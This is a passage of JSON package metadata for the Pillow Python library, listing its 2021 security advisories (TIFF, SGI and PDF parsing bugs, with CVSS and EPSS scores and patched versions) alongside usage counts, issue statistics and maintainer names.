pss_percentile":0.84562,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-28676","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-28676"},{"uuid":"CVE-2021-28676","source_kind":"osv","url":"https://github.com/python-pillow/Pillow/pull/5377"},{"uuid":"ALPINE-CVE-2021-28676","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-28676"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","url":"https://github.com/advisories/GHSA-jgpv-4h4c-xhw3","title":"Duplicate Advisory: Uncontrolled Resource Consumption in pillow","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f4w8-cv6p-x6r5. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n_Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large._\n\n### Patches\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### Workarounds\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-27921\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-04-23T16:54:36.000Z","withdrawn_at":"2026-10-27T19:00:26.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/calix2/pyVulApp/security/advisories/GHSA-jgpv-4h4c-xhw3","https://github.com/advisories/GHSA-jgpv-4h4c-xhw3"],"source_kind":"github","identifiers":["GHSA-jgpv-4h4c-xhw3"],"repository_url":"https://github.com/calix2/pyVulApp","blast_radius":0.0,"created_at":"2022-12-21T16:13:06.469Z","updated_at":"2026-11-21T09:17:29.167Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.2","vulnerable_version_range":"\u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","url":"https://github.com/advisories/GHSA-mvg9-xffr-p774","title":"Out of bounds read in Pillow","description":"An issue was discovered in Pillow before 8.2.0. In `TiffDecode.c`, there is an out-of-bounds read in `TiffreadRGBATile` via invalid tile boundaries.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25291","https://github.com/python-pillow/Pillow/commit/cbdce6c5d054fccaf4af34b47f212355c64ace7a","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/8b8076bdcb3815be0ef0d279651d8d1342b8ea61","https://github.com/advisories/GHSA-mvg9-xffr-p774","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-37.yaml"],"source_kind":"github","identifiers":["GHSA-mvg9-xffr-p774","CVE-2021-25291"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:47.802Z","updated_at":"2026-11-05T13:14:05.234Z","epss_percentage":0.01398,"epss_percentile":0.72528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25291","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25291"},{"uuid":"CVE-2021-25291","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html"},{"uuid":"ALPINE-CVE-2021-25291","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25291"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","url":"https://github.com/advisories/GHSA-9hx2-hgq2-2g4f","title":"Regular Expression Denial of Service (ReDoS) in Pillow","description":"An issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-03-29T16:35:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25292","https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c","https://github.com/python-pillow/Pillow/commit/6207b44ab1ff4a91d8ddc7579619876d0bb191a4","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/521dab94c7ab72b037bd9a83e9663401e0fd2cee","https://github.com/advisories/GHSA-9hx2-hgq2-2g4f","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-38.yaml"],"source_kind":"github","identifiers":["GHSA-9hx2-hgq2-2g4f","CVE-2021-25292"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:13:10.147Z","updated_at":"2026-11-05T13:11:27.213Z","epss_percentage":0.01727,"epss_percentile":0.77504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 5.1.0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25292","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25292"},{"uuid":"CVE-2021-25292","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html"},{"uuid":"ALPINE-CVE-2021-25292","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25292"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","url":"https://github.com/advisories/GHSA-8xjq-8fcg-g5hw","title":"Out-of-bounds Write in Pillow","description":"An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25290","https://github.com/python-pillow/Pillow/commit/86f02f7c70862a0954bfe8133736d352db978eaa","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/e25be1e33dc526bfd1094bc778a54d8e29bf66c9","https://github.com/advisories/GHSA-8xjq-8fcg-g5hw","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-36.yaml"],"source_kind":"github","identifiers":["GHSA-8xjq-8fcg-g5hw","CVE-2021-25290"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.138Z","updated_at":"2026-12-02T11:11:51.157Z","epss_percentage":0.02372,"epss_percentile":0.84305,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25290","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25290"},{"uuid":"CVE-2021-25290","source_kind":"osv","url":"https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html"},{"uuid":"ALPINE-CVE-2021-25290","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25290"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","url":"https://github.com/advisories/GHSA-p43w-g3c5-g5mq","title":"Out of bounds read in Pillow","description":"An issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25293","https://github.com/python-pillow/Pillow/commit/4853e522bddbec66022c0915b9a56255d0188bf9","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/f891baa604636cd2506a9360d170bc2cf4963cc5","https://github.com/advisories/GHSA-p43w-g3c5-g5mq","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-39.yaml"],"source_kind":"github","identifiers":["GHSA-p43w-g3c5-g5mq","CVE-2021-25293"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.128Z","updated_at":"2026-12-04T22:10:59.979Z","epss_percentage":0.01601,"epss_percentile":0.76517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 4.3.0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2021-25293","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25293"},{"uuid":"DEBIAN-CVE-2021-25293","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25293"},{"uuid":"CVE-2021-25293","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","url":"https://github.com/advisories/GHSA-57h3-9rgr-c24m","title":"Out of bounds write in Pillow","description":"An issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-03-29T16:35:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25289","https://github.com/python-pillow/Pillow/commit/3fee28eb9479bf7d59e0fa08068f9cc4a6e2f04c","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/cbfdde7b1f2295059a20a539ee9960f0bec7b299","https://github.com/advisories/GHSA-57h3-9rgr-c24m","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-35.yaml"],"source_kind":"github","identifiers":["GHSA-57h3-9rgr-c24m","CVE-2021-25289"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:13:09.361Z","updated_at":"2026-11-27T10:09:30.215Z","epss_percentage":0.02032,"epss_percentile":0.81688,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU3aDMtOXJnci1jMjRt/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25289","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25289"},{"uuid":"CVE-2021-25289","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html"},{"uuid":"ALPINE-CVE-2021-25289","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25289"}]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pillow","docker_dependents_count":1623,"docker_downloads_count":814528772,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pillow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pillow/dependencies","status":null,"funding_links":["https://tidelift.com/lifter/search/pypi/pillow","https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-23T04:00:00.573Z","issues_count":959,"pull_requests_count":2369,"avg_time_to_close_issue":13040374.766878981,"avg_time_to_close_pull_request":2283576.0368445916,"issues_closed_count":785,"pull_requests_closed_count":2117,"pull_request_authors_count":298,"issue_authors_count":757,"avg_comments_per_issue":6.712200208550573,"avg_comments_per_pull_request":1.487125369354158,"merged_pull_requests_count":1873,"bot_issues_count":2,"bot_pull_requests_count":120,"past_year_issues_count":129,"past_year_pull_requests_count":834,"past_year_avg_time_to_close_issue":1971900.3614457832,"past_year_avg_time_to_close_pull_request":922775.9680232558,"past_year_issues_closed_count":83,"past_year_pull_requests_closed_count":688,"past_year_pull_request_authors_count":172,"past_year_issue_authors_count":97,"past_year_avg_comments_per_issue":3.10077519379845,"past_year_avg_comments_per_pull_request":1.5323741007194245,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":35,"past_year_merged_pull_requests_count":592,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1360,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":207,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":60,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":36,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"}],"active_maintainers":[{"login":"radarhere","count":351,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":58,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/codemeta","maintainers":[{"uuid":"hugovk","login":"hugovk","name":null,"email":null,"url":null,"packages_count":24,"html_url":"https://pypi.org/user/hugovk/","role":null,"created_at":"2022-11-15T02:25:11.544274Z","updated_at":"2022-11-15T02:25:11.544274Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/hugovk/packages"},{"uuid":"aclark","login":"aclark","name":null,"email":null,"url":null,"packages_count":97,"html_url":"https://pypi.org/user/aclark/","role":null,"created_at":"2022-11-15T02:25:11.525834Z","updated_at":"2022-11-15T02:25:11.525834Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/aclark/packages"},{"uuid":"wiredfool","login":"wiredfool","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/wiredfool/","role":null,"created_at":"2022-11-15T02:25:11.532170Z","updated_at":"2022-11-15T02:25:11.532170Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/wiredfool/packages"},{"uuid":"radarhere","login":"radarhere","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/radarhere/","role":null,"created_at":"2022-11-15T02:25:11.599732Z","updated_at":"2022-11-15T02:25:11.599732Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/radarhere/packages"}]}